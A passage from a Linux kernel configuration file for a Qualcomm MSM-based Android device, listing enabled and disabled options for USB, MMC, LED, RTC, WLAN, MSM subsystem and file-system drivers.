CONFIG_USB_CHIPIDEA is not set + +# +# USB port drivers +# +CONFIG_USB_SERIAL=y +# CONFIG_USB_SERIAL_CONSOLE is not set +# CONFIG_USB_SERIAL_GENERIC is not set +# CONFIG_USB_SERIAL_AIRCABLE is not set +# CONFIG_USB_SERIAL_ARK3116 is not set +# CONFIG_USB_SERIAL_BELKIN is not set +# CONFIG_USB_SERIAL_CH341 is not set +# CONFIG_USB_SERIAL_WHITEHEAT is not set +# CONFIG_USB_SERIAL_DIGI_ACCELEPORT is not set +# CONFIG_USB_SERIAL_CP210X is not set +# CONFIG_USB_SERIAL_CYPRESS_M8 is not set +# CONFIG_USB_SERIAL_EMPEG is not set +# CONFIG_USB_SERIAL_FTDI_SIO is not set +# CONFIG_USB_SERIAL_FUNSOFT is not set +# CONFIG_USB_SERIAL_VISOR is not set +# CONFIG_USB_SERIAL_IPAQ is not set +# CONFIG_USB_SERIAL_IR is not set +# CONFIG_USB_SERIAL_EDGEPORT is not set +# CONFIG_USB_SERIAL_EDGEPORT_TI is not set +# CONFIG_USB_SERIAL_F81232 is not set +# CONFIG_USB_SERIAL_GARMIN is not set +# CONFIG_USB_SERIAL_IPW is not set +# CONFIG_USB_SERIAL_IUU is not set +# CONFIG_USB_SERIAL_KEYSPAN_PDA is not set +# CONFIG_USB_SERIAL_KEYSPAN is not set +# CONFIG_USB_SERIAL_KLSI is not set +# CONFIG_USB_SERIAL_KOBIL_SCT is not set +# CONFIG_USB_SERIAL_MCT_U232 is not set +# CONFIG_USB_SERIAL_METRO is not set +# CONFIG_USB_SERIAL_MOS7720 is not set +# CONFIG_USB_SERIAL_MOS7840 is not set +# CONFIG_USB_SERIAL_MOTOROLA is not set +# CONFIG_USB_SERIAL_NAVMAN is not set +# CONFIG_USB_SERIAL_PL2303 is not set +# CONFIG_USB_SERIAL_OTI6858 is not set +# CONFIG_USB_SERIAL_QCAUX is not set +# CONFIG_USB_SERIAL_QUALCOMM is not set +# CONFIG_USB_SERIAL_SPCP8X5 is not set +# CONFIG_USB_SERIAL_HP4X is not set +# CONFIG_USB_SERIAL_SAFE is not set +# CONFIG_USB_SERIAL_SIEMENS_MPI is not set +# CONFIG_USB_SERIAL_SIERRAWIRELESS is not set +# CONFIG_USB_SERIAL_SYMBOL is not set +# CONFIG_USB_SERIAL_TI is not set +# CONFIG_USB_SERIAL_CYBERJACK is not set +# CONFIG_USB_SERIAL_XIRCOM is not set +# CONFIG_USB_SERIAL_OPTION is not set +# CONFIG_USB_SERIAL_OMNINET is not set +# CONFIG_USB_SERIAL_OPTICON is not set +# CONFIG_USB_SERIAL_VIVOPAY_SERIAL is not set +# CONFIG_USB_SERIAL_XSENS_MT is not set +# CONFIG_USB_SERIAL_ZIO is not set +# CONFIG_USB_SERIAL_WISHBONE is not set +# CONFIG_USB_SERIAL_ZTE is not set +# CONFIG_USB_SERIAL_SSU100 is not set +# CONFIG_USB_SERIAL_QT2 is not set +CONFIG_USB_SERIAL_CSVT=y +# CONFIG_USB_SERIAL_DEBUG is not set + +# +# USB Miscellaneous drivers +# +# CONFIG_USB_EMI62 is not set +# CONFIG_USB_EMI26 is not set +# CONFIG_USB_ADUTUX is not set +# CONFIG_USB_SEVSEG is not set +# CONFIG_USB_RIO500 is not set +# CONFIG_USB_LEGOTOWER is not set +# CONFIG_USB_LCD is not set +# CONFIG_USB_LED is not set +# CONFIG_USB_CYPRESS_CY7C63 is not set +# CONFIG_USB_CYTHERM is not set +# CONFIG_USB_IDMOUSE is not set +# CONFIG_USB_FTDI_ELAN is not set +# CONFIG_USB_APPLEDISPLAY is not set +# CONFIG_USB_SISUSBVGA is not set +# CONFIG_USB_LD is not set +# CONFIG_USB_TRANCEVIBRATOR is not set +# CONFIG_USB_IOWARRIOR is not set +# CONFIG_USB_TEST is not set +CONFIG_USB_EHSET_TEST_FIXTURE=y +# CONFIG_USB_ISIGHTFW is not set +# CONFIG_USB_YUREX is not set +# CONFIG_USB_EZUSB_FX2 is not set +# CONFIG_USB_HSIC_USB3503 is not set +# CONFIG_USB_QCOM_DIAG_BRIDGE is not set +# CONFIG_USB_QCOM_MDM_BRIDGE is not set +# CONFIG_USB_QCOM_KS_BRIDGE is not set +# CONFIG_USB_QCOM_IPC_BRIDGE is not set +CONFIG_USB_PHY=y +CONFIG_USB_OTG_WAKELOCK=y +# CONFIG_NOP_USB_XCEIV is not set +# CONFIG_OMAP_CONTROL_USB is not set +# CONFIG_OMAP_USB3 is not set +# CONFIG_SAMSUNG_USBPHY is not set +# CONFIG_SAMSUNG_USB2PHY is not set +# CONFIG_SAMSUNG_USB3PHY is not set +# CONFIG_USB_MSM_OTG_72K is not set +# CONFIG_USB_GPIO_VBUS is not set +# CONFIG_USB_ISP1301 is not set +CONFIG_USB_MSM_OTG=y +# CONFIG_USB_MSM_ACA is not set +# CONFIG_USB_MSM_HSPHY is not set +# CONFIG_USB_MSM_SSPHY is not set +# CONFIG_USB_MSM_SSPHY_QMP is not set +# CONFIG_MSM_QUSB_PHY is not set +# CONFIG_USB_RCAR_PHY is not set +# CONFIG_USB_ULPI is not set +CONFIG_USB_GADGET=y +# CONFIG_USB_GADGET_DEBUG is not set +CONFIG_USB_GADGET_DEBUG_FILES=y +CONFIG_USB_GADGET_DEBUG_FS=y +CONFIG_USB_GADGET_VBUS_DRAW=500 +CONFIG_USB_GADGET_STORAGE_NUM_BUFFERS=2 + +# +# USB Peripheral Controller +# +# CONFIG_USB_FUSB300 is not set +# CONFIG_USB_R8A66597 is not set +# CONFIG_USB_PXA27X is not set +# CONFIG_USB_MV_UDC is not set +# CONFIG_USB_MV_U3D is not set +# CONFIG_USB_M66592 is not set +# CONFIG_USB_NET2272 is not set +CONFIG_USB_CI13XXX_MSM=y +# CONFIG_USB_CI13XXX_MSM_HSIC is not set +# CONFIG_USB_DWC3_MSM is not set +# CONFIG_USB_DUMMY_HCD is not set +CONFIG_USB_LIBCOMPOSITE=y +CONFIG_USB_F_ACM=y +CONFIG_USB_U_SERIAL=y +CONFIG_USB_F_SERIAL=y +# CONFIG_USB_ZERO is not set +# CONFIG_USB_AUDIO is not set +# CONFIG_USB_ETH is not set +# CONFIG_USB_G_NCM is not set +# CONFIG_USB_GADGETFS is not set +# CONFIG_USB_FUNCTIONFS is not set +# CONFIG_USB_MASS_STORAGE is not set +# CONFIG_USB_G_SERIAL is not set +# CONFIG_USB_MIDI_GADGET is not set +# CONFIG_USB_G_PRINTER is not set +CONFIG_USB_G_ANDROID=y +# CONFIG_USB_ANDROID_RNDIS_DWORD_ALIGNED is not set +# CONFIG_USB_CDC_COMPOSITE is not set +# CONFIG_USB_G_ACM_MS is not set +# CONFIG_USB_G_MULTI is not set +# CONFIG_USB_G_HID is not set +# CONFIG_USB_G_DBGP is not set +# CONFIG_USB_G_WEBCAM is not set +CONFIG_USB_CSW_HACK=y +# CONFIG_USB_MSC_PROFILING is not set +CONFIG_MODEM_SUPPORT=y +CONFIG_RMNET_SMD_CTL_CHANNEL="" +CONFIG_RMNET_SMD_DATA_CHANNEL="" +CONFIG_MMC=y +# CONFIG_MMC_DEBUG is not set +CONFIG_MMC_PERF_PROFILING=y +CONFIG_MMC_UNSAFE_RESUME=y +CONFIG_MMC_CLKGATE=y +CONFIG_MMC_EMBEDDED_SDIO=y +CONFIG_MMC_PARANOID_SD_INIT=y + +# +# MMC/SD/SDIO Card Drivers +# +CONFIG_MMC_BLOCK=y +CONFIG_MMC_BLOCK_MINORS=32 +CONFIG_MMC_BLOCK_BOUNCE=y +CONFIG_MMC_BLOCK_DEFERRED_RESUME=y +# CONFIG_SDIO_UART is not set +# CONFIG_MMC_TEST is not set +# CONFIG_MMC_YL_PARAMS is not set + +# +# MMC/SD/SDIO Host Controller Drivers +# +CONFIG_MMC_SDHCI=y +CONFIG_MMC_SDHCI_PLTFM=y +CONFIG_MMC_SDHCI_MSM=y +# CONFIG_MMC_SDHCI_PXAV3 is not set +# CONFIG_MMC_SDHCI_PXAV2 is not set +# CONFIG_MMC_DW is not set +# CONFIG_MMC_VUB300 is not set +# CONFIG_MMC_USHC is not set +# CONFIG_MEMSTICK is not set +CONFIG_NEW_LEDS=y +CONFIG_LEDS_CLASS=y + +# +# LED drivers +# +# CONFIG_LEDS_LM3530 is not set +# CONFIG_LEDS_LM3642 is not set +# CONFIG_LEDS_PCA9532 is not set +CONFIG_LEDS_GPIO=y +# CONFIG_LEDS_LP3944 is not set +# CONFIG_LEDS_LP5521 is not set +# CONFIG_LEDS_LP5523 is not set +# CONFIG_LEDS_LP5562 is not set +# CONFIG_LEDS_PCA955X is not set +# CONFIG_LEDS_PCA9633 is not set +# CONFIG_LEDS_QPNP is not set +# CONFIG_LEDS_QPNP_FLASH is not set +# CONFIG_LEDS_QPNP_WLED is not set +CONFIG_LEDS_MSM_GPIO_FLASH=y +# CONFIG_LEDS_MSM_GPIO_FLASH_CKT is not set +# CONFIG_LEDS_DAC124S085 is not set +# CONFIG_LEDS_PWM is not set +# CONFIG_LEDS_REGULATOR is not set +CONFIG_LEDS_AW2013=y +# CONFIG_SET_AW2013_VCC_AND_NOT_PULLDWN is not set +# CONFIG_LEDS_BD2802 is not set +# CONFIG_LEDS_LT3593 is not set +# CONFIG_LEDS_RENESAS_TPU is not set +# CONFIG_LEDS_TCA6507 is not set +# CONFIG_LEDS_LM355x is not set +# CONFIG_LEDS_OT200 is not set +# CONFIG_LEDS_BLINKM is not set + +# +# LED Triggers +# +CONFIG_LEDS_TRIGGERS=y +# CONFIG_LEDS_TRIGGER_TIMER is not set +# CONFIG_LEDS_TRIGGER_ONESHOT is not set +# CONFIG_LEDS_TRIGGER_HEARTBEAT is not set +# CONFIG_LEDS_TRIGGER_BACKLIGHT is not set +# CONFIG_LEDS_TRIGGER_CPU is not set +# CONFIG_LEDS_TRIGGER_GPIO is not set +# CONFIG_LEDS_TRIGGER_DEFAULT_ON is not set + +# +# iptables trigger is under Netfilter config (LED target) +# +# CONFIG_LEDS_TRIGGER_TRANSIENT is not set +# CONFIG_LEDS_TRIGGER_CAMERA is not set +CONFIG_SWITCH=y +# CONFIG_SWITCH_GPIO is not set +# CONFIG_ACCESSIBILITY is not set +# CONFIG_EDAC is not set +CONFIG_RTC_LIB=y +CONFIG_RTC_CLASS=y +CONFIG_RTC_HCTOSYS=y +CONFIG_RTC_SYSTOHC=y +CONFIG_RTC_HCTOSYS_DEVICE="rtc0" +# CONFIG_RTC_DEBUG is not set + +# +# RTC interfaces +# +CONFIG_RTC_INTF_SYSFS=y +CONFIG_RTC_INTF_PROC=y +CONFIG_RTC_INTF_DEV=y +# CONFIG_RTC_INTF_DEV_UIE_EMUL is not set +# CONFIG_RTC_DRV_TEST is not set + +# +# I2C RTC drivers +# +# CONFIG_RTC_DRV_DS1307 is not set +# CONFIG_RTC_DRV_DS1374 is not set +# CONFIG_RTC_DRV_DS1672 is not set +# CONFIG_RTC_DRV_DS3232 is not set +# CONFIG_RTC_DRV_MAX6900 is not set +# CONFIG_RTC_DRV_RS5C372 is not set +# CONFIG_RTC_DRV_ISL1208 is not set +# CONFIG_RTC_DRV_ISL12022 is not set +# CONFIG_RTC_DRV_X1205 is not set +# CONFIG_RTC_DRV_PCF8523 is not set +# CONFIG_RTC_DRV_PCF8563 is not set +# CONFIG_RTC_DRV_PCF8583 is not set +# CONFIG_RTC_DRV_M41T80 is not set +# CONFIG_RTC_DRV_BQ32K is not set +# CONFIG_RTC_DRV_S35390A is not set +# CONFIG_RTC_DRV_FM3130 is not set +# CONFIG_RTC_DRV_RX8581 is not set +# CONFIG_RTC_DRV_RX8025 is not set +# CONFIG_RTC_DRV_EM3027 is not set +# CONFIG_RTC_DRV_RV3029C2 is not set + +# +# SPI RTC drivers +# +# CONFIG_RTC_DRV_M41T93 is not set +# CONFIG_RTC_DRV_M41T94 is not set +# CONFIG_RTC_DRV_DS1305 is not set +# CONFIG_RTC_DRV_DS1390 is not set +# CONFIG_RTC_DRV_MAX6902 is not set +# CONFIG_RTC_DRV_R9701 is not set +# CONFIG_RTC_DRV_RS5C348 is not set +# CONFIG_RTC_DRV_DS3234 is not set +# CONFIG_RTC_DRV_PCF2123 is not set +# CONFIG_RTC_DRV_RX4581 is not set + +# +# Platform RTC drivers +# +# CONFIG_RTC_DRV_CMOS is not set +# CONFIG_RTC_DRV_DS1286 is not set +# CONFIG_RTC_DRV_DS1511 is not set +# CONFIG_RTC_DRV_DS1553 is not set +# CONFIG_RTC_DRV_DS1742 is not set +# CONFIG_RTC_DRV_STK17TA8 is not set +# CONFIG_RTC_DRV_M48T86 is not set +# CONFIG_RTC_DRV_M48T35 is not set +# CONFIG_RTC_DRV_M48T59 is not set +# CONFIG_RTC_DRV_MSM6242 is not set +# CONFIG_RTC_DRV_BQ4802 is not set +# CONFIG_RTC_DRV_RP5C01 is not set +# CONFIG_RTC_DRV_V3020 is not set +# CONFIG_RTC_DRV_DS2404 is not set + +# +# on-CPU RTC drivers +# +# CONFIG_RTC_DRV_SNVS is not set +CONFIG_RTC_DRV_QPNP=y + +# +# HID Sensor RTC drivers +# +# CONFIG_RTC_DRV_HID_SENSOR_TIME is not set +# CONFIG_ESOC is not set +CONFIG_DMADEVICES=y +# CONFIG_DMADEVICES_DEBUG is not set + +# +# DMA Devices +# +CONFIG_QCOM_SPS_DMA=y +# CONFIG_TIMB_DMA is not set +CONFIG_DMA_ENGINE=y +CONFIG_DMA_OF=y + +# +# DMA Clients +# +# CONFIG_ASYNC_TX_DMA is not set +# CONFIG_DMATEST is not set +# CONFIG_AUXDISPLAY is not set +CONFIG_UIO=y +# CONFIG_UIO_PDRV is not set +# CONFIG_UIO_PDRV_GENIRQ is not set +# CONFIG_UIO_DMEM_GENIRQ is not set +CONFIG_UIO_MSM_SHAREDMEM=y +# CONFIG_VFIO is not set +# CONFIG_VIRT_DRIVERS is not set + +# +# Virtio drivers +# +# CONFIG_VIRTIO_MMIO is not set + +# +# Microsoft Hyper-V guest support +# +CONFIG_STAGING=y +# CONFIG_USBIP_CORE is not set +# CONFIG_PRISM2_USB is not set +# CONFIG_ECHO is not set +# CONFIG_ASUS_OLED is not set +# CONFIG_R8712U is not set +# CONFIG_RTS5139 is not set +# CONFIG_TRANZPORT is not set +# CONFIG_LINE6_USB is not set +# CONFIG_USB_SERIAL_QUATECH2 is not set +# CONFIG_BCM_WIMAX is not set +# CONFIG_FT1000 is not set + +# +# Speakup console speech +# +# CONFIG_TOUCHSCREEN_CLEARPAD_TM1217 is not set +# CONFIG_STAGING_MEDIA is not set + +# +# Android +# +CONFIG_ANDROID=y +CONFIG_ANDROID_BINDER_IPC=y +CONFIG_ANDROID_BINDER_IPC_32BIT=y +CONFIG_ASHMEM=y +# CONFIG_ANDROID_LOGGER is not set +CONFIG_ANDROID_TIMED_OUTPUT=y +CONFIG_ANDROID_TIMED_GPIO=y +CONFIG_ANDROID_LOW_MEMORY_KILLER=y +CONFIG_ANDROID_LOW_MEMORY_KILLER_AUTODETECT_OOM_ADJ_VALUES=y +CONFIG_ANDROID_INTF_ALARM_DEV=y +CONFIG_SYNC=y +CONFIG_SW_SYNC=y +# CONFIG_SW_SYNC_USER is not set +CONFIG_ONESHOT_SYNC=y +# CONFIG_ONESHOT_SYNC_USER is not set +CONFIG_ION=y +# CONFIG_ION_TEST is not set +CONFIG_ION_MSM=y +CONFIG_ALLOC_BUFFERS_IN_4K_CHUNKS=y +# CONFIG_FIQ_DEBUGGER is not set +# CONFIG_FIQ_WATCHDOG is not set +# CONFIG_USB_WPAN_HCD is not set +# CONFIG_WIMAX_GDM72XX is not set +# CONFIG_CED1401 is not set +# CONFIG_DGRP is not set + +# +# Qualcomm Atheros Prima WLAN module +# +# CONFIG_PRIMA_WLAN is not set +CONFIG_PRONTO_WLAN=y +# CONFIG_PRIMA_WLAN_BTAMP is not set +CONFIG_PRIMA_WLAN_LFR=y +CONFIG_PRIMA_WLAN_OKC=y +CONFIG_PRIMA_WLAN_11AC_HIGH_TP=y +CONFIG_QCOM_TDLS=y +CONFIG_WLAN_FEATURE_11W=y +CONFIG_QCOM_VOWIFI_11R=y +CONFIG_ENABLE_LINUX_REG=y +# CONFIG_WLAN_OFFLOAD_PACKETS is not set +# CONFIG_MACH_CKT is not set +# CONFIG_MACH_CKT_MSM8939 is not set + +# +# CK Telecom board selection +# +# CONFIG_MACH_SPIRIT is not set +# CONFIG_MACH_HUAQIN is not set +# CONFIG_MACH_HUAQIN_MSM8916 is not set + +# +# Huaqin board selection +# +# CONFIG_MACH_JALEBI is not set + + +# +# Qualcomm MSM specific device drivers +# +# CONFIG_MSM_SSBI is not set +CONFIG_SPS=y +CONFIG_USB_BAM=y +# CONFIG_SPS_SUPPORT_BAMDMA is not set +CONFIG_SPS_SUPPORT_NDP_BAM=y +CONFIG_QPNP_POWER_ON=y +# CONFIG_QPNP_CLKDIV is not set +CONFIG_QPNP_VIBRATOR=y +CONFIG_QPNP_REVID=y +# CONFIG_QPNP_COINCELL is not set +# CONFIG_QPNP_USB_DETECT is not set +# CONFIG_IPA is not set +# CONFIG_KLM is not set +CONFIG_MSM_AVTIMER=y +# CONFIG_SSM is not set +# CONFIG_MSM_MHI is not set +# CONFIG_QCA1530 is not set +# CONFIG_PFT is not set +# CONFIG_MSM_SPSS is not set +CONFIG_MSM_BUS_SCALING=y +CONFIG_BUS_TOPOLOGY_ADHOC=y +# CONFIG_DEBUG_BUS_VOTER is not set +# CONFIG_I2C_MSM_PROF_DBG is not set +# CONFIG_MSM_UIM_HSL is not set +# CONFIG_QPNP_HAPTIC is not set +# CONFIG_SEEMP_CORE is not set +# CONFIG_MACH_HAIER is not set +# CONFIG_MACH_HAIER_MSM8916 is not set + +# +# Haier board selection +# +# CONFIG_MACH_RENDANG is not set +# CONFIG_MACH_T86519A1 is not set +# CONFIG_MACH_YULONG is not set +# CONFIG_MACH_YULONG_MSM8939 is not set + +# +# Yulong board selection +# +# CONFIG_MACH_CP8675 is not set + +# +# Yulong features +# +# CONFIG_YL_POWEROFF_ALARM is not set +CONFIG_CLKDEV_LOOKUP=y +CONFIG_HAVE_CLK_PREPARE=y +# CONFIG_MSM_CLK_CONTROLLER_V2 is not set +CONFIG_MSM_MDSS_PLL=y +CONFIG_HWSPINLOCK=y + +# +# Hardware Spinlock drivers +# +CONFIG_REMOTE_SPINLOCK_MSM=y +CONFIG_CLKSRC_OF=y +CONFIG_ARM_ARCH_TIMER=y +CONFIG_ARM_ARCH_TIMER_EVTSTREAM=y +# CONFIG_MAILBOX is not set +CONFIG_IOMMU_SUPPORT=y +CONFIG_OF_IOMMU=y +CONFIG_MSM_IOMMU=y +CONFIG_MSM_IOMMU_V1=y +# CONFIG_IOMMU_PGTABLES_L2 is not set +# CONFIG_IOMMU_LPAE is not set +# CONFIG_MSM_IOMMU_VBIF_CHECK is not set +# CONFIG_IOMMU_NON_SECURE is not set +# CONFIG_IOMMU_FORCE_4K_MAPPINGS is not set +# CONFIG_MMU500_ACTIVE_PREFETCH_BUG_WITH_SECTION_MAPPING is not set + +# +# Remoteproc drivers +# +# CONFIG_STE_MODEM_RPROC is not set + +# +# Rpmsg drivers +# +CONFIG_PM_DEVFREQ=y + +# +# DEVFREQ Governors +# +CONFIG_DEVFREQ_GOV_SIMPLE_ONDEMAND=y +CONFIG_DEVFREQ_GOV_PERFORMANCE=y +CONFIG_DEVFREQ_GOV_POWERSAVE=y +CONFIG_DEVFREQ_GOV_USERSPACE=y +CONFIG_DEVFREQ_GOV_CPUFREQ=y +CONFIG_DEVFREQ_GOV_MSM_ADRENO_TZ=y +CONFIG_MSM_BIMC_BWMON=y +CONFIG_ARMBW_HWMON=y +CONFIG_DEVFREQ_GOV_MSM_GPUBW_MON=y +CONFIG_DEVFREQ_GOV_MSM_BW_HWMON=y +# CONFIG_DEVFREQ_GOV_MSM_CACHE_HWMON is not set +# CONFIG_DEVFREQ_GOV_SPDM_HYP is not set + +# +# DEVFREQ Drivers +# +CONFIG_DEVFREQ_SIMPLE_DEV=y +CONFIG_MSM_DEVFREQ_DEVBW=y +# CONFIG_DEVFREQ_SPDM is not set +# CONFIG_EXTCON is not set +# CONFIG_MEMORY is not set +# CONFIG_IIO is not set +CONFIG_PWM=y +CONFIG_PWM_QPNP=y +CONFIG_IRQCHIP=y +CONFIG_ARM_GIC=y +CONFIG_MSM_SHOW_RESUME_IRQ=y +CONFIG_MSM_IRQ=y +# CONFIG_IPACK_BUS is not set +# CONFIG_MOBICORE_SUPPORT is not set +# CONFIG_RESET_CONTROLLER is not set +# CONFIG_CORESIGHT is not set +# CONFIG_BIF is not set +CONFIG_SENSORS=y +# CONFIG_SENSORS_SSC is not set + +# +# PHY Subsystem +# +# CONFIG_GENERIC_PHY is not set +# CONFIG_PHY_MSM_SATA is not set +CONFIG_MSM_BAM_DMUX=y +CONFIG_MSM_EVENT_TIMER=y +CONFIG_MSM_IPC_ROUTER_SMD_XPRT=y +# CONFIG_MSM_JTAG is not set +# CONFIG_MSM_JTAG_MM is not set +# CONFIG_MSM_JTAGV8 is not set +CONFIG_MSM_QMI_INTERFACE=y +CONFIG_MSM_SMD=y +# CONFIG_MSM_SMD_DEBUG is not set +CONFIG_MSM_MPM_OF=y +CONFIG_MSM_RPM_SMD=y +# CONFIG_MSM_RPM_RBCPR_STATS_V2_LOG is not set +CONFIG_MSM_RPM_LOG=y +CONFIG_MSM_RPM_STATS_LOG=y +CONFIG_MSM_RUN_QUEUE_STATS=y +CONFIG_MSM_SMEM=y +CONFIG_MSM_SMEM_LOGGING=y +CONFIG_MSM_SMP2P=y +CONFIG_MSM_SMP2P_TEST=y +CONFIG_MSM_SPM=y +CONFIG_MSM_L2_SPM=y +# CONFIG_MSM_QDSP6_APRV2 is not set +CONFIG_MSM_QDSP6_APRV3=y +CONFIG_MSM_ADSP_LOADER=y +# CONFIG_MSM_MEMORY_DUMP is not set +CONFIG_MSM_MEMORY_DUMP_V2=y +# CONFIG_MSM_DEBUG_LAR_UNLOCK is not set +# CONFIG_MSM_DDR_HEALTH is not set +CONFIG_MSM_COMMON_LOG=y +CONFIG_MSM_WATCHDOG_V2=y +# CONFIG_MSM_FORCE_WDOG_BITE_ON_PANIC is not set +# CONFIG_MSM_HVC is not set +# CONFIG_MSM_HYP_DEBUG is not set +CONFIG_MSM_SUBSYSTEM_RESTART=y +CONFIG_MSM_SYSMON_COMM=y +CONFIG_MSM_PIL=y +CONFIG_MSM_PIL_SSR_GENERIC=y +CONFIG_MSM_PIL_MSS_QDSP6V5=y +CONFIG_MSM_OCMEM=y +CONFIG_MSM_OCMEM_LOCAL_POWER_CTRL=y +# CONFIG_MSM_OCMEM_DEBUG is not set +# CONFIG_MSM_OCMEM_POWER_DISABLE is not set +CONFIG_MSM_BOOT_STATS=y +CONFIG_MSM_SCM=y +# CONFIG_MAXIMUM_CURRENT_THROTTLING is not set +CONFIG_MSM_CPU_PWR_CTL=y +# CONFIG_MSM_XPU_ERR_FATAL is not set +# CONFIG_MSM_CACHE_DUMP is not set +# CONFIG_MSM_CPUSS_DUMP is not set +# CONFIG_MSM_SHARED_HEAP_ACCESS is not set +# CONFIG_MSM_SYSTEM_HEALTH_MONITOR is not set +# CONFIG_QCOM_EARLY_RANDOM is not set +# CONFIG_MSM_PACMAN is not set +# CONFIG_MSM_CORE_CTL_HELPER is not set +CONFIG_MSM_PERFORMANCE=y +# CONFIG_MSM_PERFORMANCE_HOTPLUG_ON is not set +CONFIG_STATE_NOTIFIER=y +CONFIG_AUTOSMP=y +CONFIG_MEM_SHARE_QMI_SERVICE=y + +# +# Firmware Drivers +# +# CONFIG_FIRMWARE_MEMMAP is not set +CONFIG_MSM_TZ_LOG=y + +# +# File systems +# +CONFIG_DCACHE_WORD_ACCESS=y +# CONFIG_EXT2_FS is not set +# CONFIG_EXT3_FS is not set +CONFIG_EXT4_FS=y +CONFIG_EXT4_USE_FOR_EXT23=y +CONFIG_EXT4_FS_POSIX_ACL=y +CONFIG_EXT4_FS_SECURITY=y +# CONFIG_EXT4_DEBUG is not set +CONFIG_JBD2=y +# CONFIG_JBD2_DEBUG is not set +CONFIG_FS_MBCACHE=y +# CONFIG_REISERFS_FS is not set +# CONFIG_JFS_FS is not set +# CONFIG_XFS_FS is not set +# CONFIG_GFS2_FS is not set +# CONFIG_OCFS2_FS is not set +# CONFIG_BTRFS_FS is not set +# CONFIG_NILFS2_FS is not set +CONFIG_FS_POSIX_ACL=y +CONFIG_FILE_LOCKING=y +# CONFIG_FS_ENCRYPTION is not set +CONFIG_FSNOTIFY=y +CONFIG_DNOTIFY=y +CONFIG_INOTIFY_USER=y +# CONFIG_FANOTIFY is not set +CONFIG_QUOTA=y +# CONFIG_QUOTA_NETLINK_INTERFACE is not set +CONFIG_PRINT_QUOTA_WARNING=y +# CONFIG_QUOTA_DEBUG is not set +# CONFIG_QFMT_V1 is not set +# CONFIG_QFMT_V2 is not set +CONFIG_QUOTACTL=y +# CONFIG_AUTOFS4_FS is not set +CONFIG_FUSE_FS=y +# CONFIG_CUSE is not set +CONFIG_GENERIC_ACL=y + +# +# Caches +# +# CONFIG_FSCACHE is not set + +# +# CD-ROM/DVD Filesystems +# +# CONFIG_ISO9660_FS is not set +# CONFIG_UDF_FS is not set + +# +# DOS/FAT/NT Filesystems +# +CONFIG_FAT_FS=y +CONFIG_MSDOS_FS=y +CONFIG_VFAT_FS=y +CONFIG_FAT_DEFAULT_CODEPAGE=437 +CONFIG_FAT_DEFAULT_IOCHARSET="iso8859-1" +CONFIG_EXFAT_FS=y +# CONFIG_EXFAT_DISCARD is not set +# CONFIG_EXFAT_DELAYED_SYNC is not set +# CONFIG_EXFAT_KERNEL_DEBUG is not set +# CONFIG_EXFAT_DEBUG_MSG is not set +CONFIG_EXFAT_DEFAULT_CODEPAGE=437 +CONFIG_EXFAT_DEFAULT_IOCHARSET="utf8" +CONFIG_NTFS_FS=y +# CONFIG_NTFS_DEBUG is not set +CONFIG_NTFS_RW=y + +# +# Pseudo filesystems +# +CONFIG_PROC_FS=y +CONFIG_PROC_SYSCTL=y +CONFIG_PROC_PAGE_MONITOR=y +CONFIG_SYSFS=y +CONFIG_TMPFS=y +CONFIG_TMPFS_POSIX_ACL=y +CONFIG_TMPFS_XATTR=y +# CONFIG_HUGETLB_PAGE is not set +CONFIG_CONFIGFS_FS=y +CONFIG_MISC_FILESYSTEMS=y +# CONFIG_ADFS_FS is not set +# CONFIG_AFFS_FS is not set +# CONFIG_ECRYPT_FS is not set +CONFIG_SDCARD_FS=y +# CONFIG_CONFIG_SDCARD_FS_ANDROID_PKGLIST is not set +# CONFIG_HFS_FS is not set +# CONFIG_HFSPLUS_FS is not set +# CONFIG_BEFS_FS is not set +# CONFIG_BFS_FS is not set +# CONFIG_EFS_FS is not set +# CONFIG_LOGFS is not set +# CONFIG_CRAMFS is not set +# CONFIG_SQUASHFS is not set +# CONFIG_VXFS_FS is not set +# CONFIG_MINIX_FS is not set +# CONFIG_OMFS_FS is not set +# CONFIG_HPFS_FS is not set +# CONFIG_QNX4FS_FS is not set +# CONFIG_QNX6FS_FS is not set +# CONFIG_ROMFS_FS is not set +CONFIG_PSTORE=y +CONFIG_PSTORE_CONSOLE=y +# CONFIG_PSTORE_PMSG is not set +CONFIG_PSTORE_RAM=y +# CONFIG_SYSV_FS is not set +# CONFIG_UFS_FS is not set +CONFIG_F2FS_FS=y +CONFIG_F2FS_STAT_FS=y +CONFIG_F2FS_FS_XATTR=y +CONFIG_F2FS_FS_POSIX_ACL=y +CONFIG_F2FS_FS_SECURITY=y +# CONFIG_F2FS_CHECK_FS is not set +# CONFIG_F2FS_FS_ENCRYPTION is not set +# CONFIG_F2FS_FAULT_INJECTION is not set +CONFIG_NETWORK_FILESYSTEMS=y +CONFIG_NFS_FS=y +CONFIG_NFS_V2=y +CONFIG_NFS_V3=y +# CONFIG_NFS_V3_ACL is not set +# CONFIG_NFS_V4 is not set +# CONFIG_NFS_SWAP is not set +# CONFIG_ROOT_NFS is not set +# CONFIG_NFSD is not set +CONFIG_LOCKD=y +CONFIG_LOCKD_V4=y +CONFIG_NFS_COMMON=y +CONFIG_SUNRPC=y +# CONFIG_SUNRPC_DEBUG is not set +# CONFIG_CEPH_FS is not set +CONFIG_CIFS=y +# CONFIG_CIFS_STATS is not set +# CONFIG_CIFS_WEAK_PW_HASH is not set +# CONFIG_CIFS_UPCALL is not set +# CONFIG_CIFS_XATTR is not set +# CONFIG_CIFS_DEBUG is not set +# CONFIG_CIFS_DFS_UPCALL is not set +# CONFIG_CIFS_SMB2 is not set +# CONFIG_NCP_FS is not set +# CONFIG_CODA_FS is not set +# CONFIG_AFS_FS is not set +CONFIG_NLS=y +CONFIG_NLS_DEFAULT="iso8859-1" +CONFIG_NLS_CODEPAGE_437=y +# CONFIG_NLS_CODEPAGE_737 is not set +# CONFIG_NLS_CODEPAGE_775 is not set +# CONFIG_NLS_CODEPAGE_850 is not set +# CONFIG_NLS_CODEPAGE_852 is not set +# CONFIG_NLS_CODEPAGE_855 is not set +# CONFIG_NLS_CODEPAGE_857 is not set +# CONFIG_NLS_CODEPAGE_860 is not set +# CONFIG_NLS_CODEPAGE_861 is not set +# CONFIG_NLS_CODEPAGE_862 is not set +# CONFIG_NLS_CODEPAGE_863 is not set +# CONFIG_NLS_CODEPAGE_864 is not set +# CONFIG_NLS_CODEPAGE_865 is not set +# CONFIG_NLS_CODEPAGE_866 is not set +# CONFIG_NLS_CODEPAGE_869 is not set +# CONFIG_NLS_CODEPAGE_936 is not set +# CONFIG_NLS_CODEPAGE_950 is not set +# CONFIG_NLS_CODEPAGE_932 is not set +# CONFIG_NLS_CODEPAGE_949 is not set +# CONFIG_NLS_CODEPAGE_874 is not set +# 